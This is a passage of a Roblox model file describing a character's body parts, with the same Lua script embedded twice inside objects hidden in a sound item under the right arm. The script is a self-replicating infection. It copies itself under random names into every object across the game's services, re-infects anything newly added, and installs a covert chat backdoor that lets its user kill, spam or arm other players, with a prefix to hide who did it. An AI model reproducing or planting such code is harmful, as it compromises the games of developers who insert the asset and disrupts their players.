if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX207">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-9.87790012</X>
							<Y>3.29895997</Y>
							<Z>10.2015648</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Right Arm</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="StockSound" referent="RBX208">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">w1ujz</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX209">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">zazwez</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX210">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">119</int>
						<CoordinateFrame name="CFrame">
							<X>-8.80172062</X>
							<Y>1.29895973</Y>
							<Z>11.8873396</Z>
							<R00>-0.538089991</R00>
							<R01>7.44197024e-008</R01>
							<R02>0.842887282</R02>
							<R10>9.79912116e-008</R10>
							<R11>1</R11>
							<R12>-2.57348773e-008</R12>
							<R20>-0.842887282</R20>
							<R21>6.87478661e-008</R21>
							<R22>-0.538089991</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Left Leg</string>
						<float name="Reflectance">0</float>
